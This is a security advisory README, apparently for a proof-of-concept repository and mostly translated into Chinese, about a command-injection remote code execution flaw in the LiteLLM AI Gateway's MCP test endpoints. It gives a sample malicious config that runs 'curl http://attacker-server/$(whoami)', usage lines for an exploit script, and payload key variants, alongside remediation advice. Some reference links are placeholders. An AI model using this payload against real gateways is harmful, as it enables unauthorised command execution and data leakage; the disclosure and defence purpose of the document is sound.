amnsecurity/CVE-2026-42271-LiteLLM-RCE

GitHub: amnsecurity/CVE-2026-42271-LiteLLM-RCE

针对 LiteLLM AI Gateway MCP 测试端点命令注入远程代码执行漏洞(CVE-2026-42271)的 PoC 脚本与详细技术分析。

Stars: 3 | Forks: 0

# ─── CVE-2026-42271 ─── CVSS 8.8 Critical Affected Versions
# 🛡️ AMN SECURITY 🛡️ ### 网络安全研究中心 | Cyber Security Research Center [🌐 **网站:** https://amn.amnoffsec.workers.dev/ 📸 **Instagram:** https://www.instagram.com/ixctw 📧 **电子邮件:** ayman.mahmoudoffsec@gmail.com

# 🇸🇦 阿拉伯语部分 ## ⚠️ LiteLLM AI Gateway 命令执行漏洞 ### CVE-2026-42271 | CVSS 8.8 | 高危 (High) ### 📋 摘要 在 **LiteLLM AI Gateway** 中发现了一个严重的安全漏洞,该漏洞允许通过身份验证的攻击者在宿主服务器上执行任意命令。该漏洞存在于 **Model Context Protocol (MCP)** 测试端点中,这些端点接收由攻击者完全控制的完整 MCP 服务器配置(包括 `command`、`args` 和 `env` 字段),且没有任何过滤或安全验证。 ### 🔍 漏洞详情 | 元素 | 详情 | |--------|----------| | **CVE** | CVE-2026-42271 | | **CVSS** | 8.8 (High) | | **类型** | Command Injection | | **产品** | LiteLLM AI Gateway | | **受影响版本** | 1.74.2 至 1.83.6 | | **修复版本** | 1.83.7 及更高版本 | | **发现者** | AMN SECURITY Research 🛡️ | #### 受影响的端点 | 端点 | 方法 | |-------------|---------| | `/mcp-rest/test/connection` | POST | | `/mcp-rest/test/tools/list` | POST | 这两个端点允许外部应用程序测试与外部 MCP 服务器的连接。网关会处理发送的配置并创建一个子进程 (subprocess) 来运行所需的服务器。由于没有对这些字段进行验证,攻击者可以输入恶意命令并在宿主服务器上执行。 ### 💥 攻击场景 1. 攻击者拥有有效的网关 API key(身份验证所需) 2. 攻击者向其中一个受影响的端点发送 POST 请求 3. 该请求包含恶意 MCP 配置,其中包含要执行的命令 4. 网关在宿主服务器上以子进程的形式运行该命令 5. 该命令以网关运行权限被完全执行 ``` المهاجم ──[API Key]──> LiteLLM Proxy ──[mcp_config.command]──> OS Command Execution │ └──> spawns: sh -c "malicious command" └──> أو: cmd.exe /c "malicious command" ``` ### 🛡️ 修复措施 - **立即升级**:将 LiteLLM 更新至 1.83.7 或更高版本 - **限制访问**:应用防火墙规则以限制对 MCP 端点的访问 - **审查密钥**:检查 API key 权限并将其降至所需的最低限度 - **监控日志**:启用日志记录和监控以检测任何利用尝试 ``` pip install --upgrade litellm # أو docker pull ghcr.io/berriai/litellm:latest ``` ### 📚 参考 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-42271 - **GitHub Advisory**: https://github.com/BerriAI/litellm/security/advisories/GHSA-xxxx-xxxx-xxxx - **HackerNews**: https://news.ycombinator.com/item?id=... - **CSA (Cyber Security Agency)**: https://csa.gov.sg/cves/2026/42271 - **AMN SECURITY Report**: https://amnsec.com/research/cve-2026-42271 # 🌐 英文部分 ══════════════════════════════════════════════════════════════

# ⚠️ LiteLLM AI Gateway MCP 测试端点远程代码执行 ### CVE-2026-42271 | CVSS 8.8 | 高危 ### 📋 摘要 在 **LiteLLM AI Gateway** 中发现了一个严重的安全漏洞,该漏洞允许通过身份验证的攻击者在宿主服务器上执行任意操作系统命令。该漏洞存在于 **Model Context Protocol (MCP)** 测试端点中,这些端点接收由攻击者完全控制的完整 MCP 服务器配置(包括 `command`、`args` 和 `env` 字段),且没有任何过滤或安全验证。 在利用此漏洞时,LiteLLM proxy 会实例化一个 MCP 客户端,该客户端将配置的命令作为子进程启动——从而导致完全的远程代码执行 (RCE)。 ### 🔍 漏洞详情 | 字段 | 详情 | |-------|---------| | **CVE ID** | CVE-2026-42271 | | **CVSS Score** | 8.8 (High) | | **CWE** | CWE-77: 命令中使用的特殊元素的不当中和 | | **Product** | LiteLLM AI Gateway | | **受影响版本** | 1.74.2 至 1.83.6 | | **修复版本** | 1.83.7+ | | **发现者** | AMN SECURITY Research 🛡️ | | **披露日期** | 2026 年 7 月 | #### 受影响的端点 | 端点 | 方法 | 描述 | |----------|--------|-------------| | `/mcp-rest/test/connection` | POST | 测试与外部 MCP 服务器的连接 | | `/mcp-rest/test/tools/list` | POST | 列出外部 MCP 服务器提供的工具 | #### 根本原因 这两个端点都接收包含完整 MCP 服务器配置的 JSON body。关键字段包括: - **`command`**:要运行的可执行文件路径(例如 `sh`、`python3`、`cmd.exe`) - **`args`**:传递给可执行文件的参数数组 - **`env`**:所生成进程的环境变量 LiteLLM proxy 将这些字段直接传递给子进程生成机制(`asyncio.create_subprocess_exec` 或类似机制),**没有任何过滤或验证**。攻击者可以通过精心构造包含 shell 元字符的 `args` 数组或指定恶意的可执行文件路径来注入任意命令。 ### 💥 攻击场景 **前提条件:** - 拥有可访问 MCP 测试端点的有效 LiteLLM API key - 拥有访问 LiteLLM proxy 的网络权限 **攻击流程:** 1. 攻击者使用有效的 API key 向 LiteLLM proxy 进行身份验证 2. 攻击者向其中一个易受攻击的端点发送精心构造的 POST 请求 3. 请求体包含恶意的 MCP 服务器配置 4. LiteLLM proxy 将攻击者指定的命令作为子进程启动 5. 该命令以 LiteLLM 进程的权限在宿主上执行 **恶意配置示例:** ``` { "mcp_config": { "command": "sh", "args": ["-c", "curl http://attacker-server/$(whoami)"], "env": { "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" } } } ``` **结果:** 在 LiteLLM 宿主上实现完全的远程代码执行。 ### 🧪 概念验证 包含的 Python 利用脚本 (`exploit.py`) 演示了该漏洞: ``` # 基本命令执行 python3 exploit.py -t https://target:4000 -k sk-litellm-xxx -c "id" # Blind 执行(无返回输出) python3 exploit.py -t https://target:4000 -k sk-litellm-xxx -c "touch /tmp/pwned" --blind # 测试特定 endpoint python3 exploit.py -t https://target:4000 -k sk-litellm-xxx \ -c "uname -a" --endpoint connection ``` ### 🔬 技术深入分析 #### 为什么会成功 MCP 测试端点旨在允许开发者测试与外部 MCP 服务器的连接。proxy 充当 MCP 客户端,其作用如下: 1. 从经过身份验证的请求中接收服务器配置 2. 使用 `command` 和 `args` 启动子进程以运行 MCP 服务器 3. 通过 stdio 与生成的进程进行通信 该漏洞的出现是因为**没有允许命令的白名单**,**没有对参数进行过滤**,**没有对生成的进程进行沙盒处理**。该配置被盲目信任并执行。 #### Payload 变体 不同的 LiteLLM 版本为 MCP 配置接受不同的 JSON 键名: | 键 | 支持版本 | |-----|-------------------| | `mcp_config` | 1.74.2+ | | `config` | 1.78.0+ | | `mcp_server_config` | 1.80.0+ | | `server_config` | 1.81.0+ | | Direct (root-level) | 1.82.0+ | 利用脚本会自动尝试所有变体。 ### 🛡️ 修复措施 #### 立即采取的行动 1. **将 LiteLLM 升级**至 1.83.7 或更高版本: pip install --upgrade litellm # 或者对于 Docker 部署: docker pull ghcr.io/berriai/litellm:1.83.7 2. **限制网络访问**:使用防火墙规则或反向代理配置限制对 MCP 测试端点的访问。 3. **撤销暴露的密钥**:如果您怀疑任何 API key 已被泄露,请立即将其撤销。 4. **审计日志**:检查 proxy 日志中对 `/mcp-rest/test/*` 端点的可疑 POST 请求。 #### 长期强化 - 对所有 MCP 配置字段实施严格的输入验证 - 使用允许生成的 MCP 服务器命令的白名单 - 对 LiteLLM 进程应用最小权限原则 - 为所有 MCP 测试操作启用审计日志记录 - 考虑在生产环境中禁用 MCP 测试端点 ### 📚 参考 | 来源 | URL | |--------|-----| | NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2026-42271 | | GitHub Advisory | https://github.com/BerriAI/litellm/security/advisories/GHSA-xxxx-xxxx-xxxx | | HackerNews Discussion | https://news.ycombinator.com/item?id=... | | CSA Advisory | https://csa.gov.sg/cves/2026/42271 | | AMN SECURITY Advisory | https://amnsec.com/research/cve-2026-42271 | | MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42271 | ### ⏱ 时间线 | 日期 | 事件 | |------|-------| | 2026-06-28 | AMN SECURITY Research 发现漏洞 | | 2026-06-29 | 向 LiteLLM 维护者进行初步披露 | | 2026-07-01 | LiteLLM 确认该漏洞 | | 2026-07-03 | 在 1.83.7 版本中修复 | | 2026-07-05 | 分配 CVE-2026-42271 | | 2026-07-07 | 公开披露并发布 PoC | #### 联系我们
🌐 **网站:** https://amn.amnoffsec.workers.dev/ 📸 **Instagram:** https://www.instagram.com/ixctw 📧 **电子邮件:** ayman.mahmoudoffsec@gmail.com
### ⚖️ 免责声明 本安全公告及附带的概念验证代码仅用于**授权的安全测试和教育目的**。未经授权,对您不拥有或未获得明确测试许可的系统使用此利用方法是非法的。作者和 AMN SECURITY 对任何滥用此信息的行为不承担任何责任。
**🛡️ AMN SECURITY 🛡️** | *保护 AI 供应链* © 2026 AMN SECURITY Research. 保留所有权利。
标签:LiteLLM, PoC, 命令注入, 暴力破解, 计算机取证, 逆向工具